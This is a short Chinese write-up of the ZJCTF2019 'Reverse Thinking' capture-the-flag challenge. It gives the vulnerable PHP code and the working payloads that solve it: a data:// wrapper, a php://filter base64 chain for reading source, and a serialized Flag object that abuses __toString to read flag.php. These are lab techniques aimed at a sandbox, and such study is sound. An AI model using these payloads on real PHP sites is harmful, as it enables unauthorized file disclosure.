ZJCTF2019-逆转思维

开门见山的代码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

那就首先用php://input绕过第一个if

读取到大标题welcome to the zjctf之后,就需要解决file参数的问题。这里用到一个之前ctfhub技能树没有学到的知识点,就是在读取源代码的时候,要读到源文件内容而不是执行文件,需要加上read=convert.base64-encode。即:

file=php://filter/read=convert.base64-encode/resource=useless.php

加上这个参数,得到了一串base64编码后的字符串,将其解码,得到PHP代码:

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

然后我就不会了,因为我不知道__tostring是php的一个有意义的函数,而不是一个自定义的名字。在echo某个对象时,会自动执行该对象的__tostring函数,所以tostring也被称为“魔术方法”。

在password中输入序列化后的一段代码,即可执行该内容,如果password中有定义新的对象,就能够调用tostring函数,得到flag内容。

<?php  

class Flag{  //flag.php  
   public $file = "flag.php";  
   public function __tostring(){  
       if(isset($this->file)){  
           echo file_get_contents($this->file);
           echo "<br>";
       return ("U R SO CLOSE !///COME ON PLZ");
       }  
   }  
}  

$a = new Flag;
echo serialize($a);
?>

序列化上述代码,得到

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 

即为password内容。

于是flag地址:

challenge-903c44813ebe6c12.sandbox.ctfhub.com:10800/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

注意最终读取时由于要执行useless.php,不能再读取源代码,而是直接写文件名。


没有系统学过php,做CTF还是差点意思。马上开学了,大一下几乎满课,信安的东西就告一段落罢。放假了继续整。

0%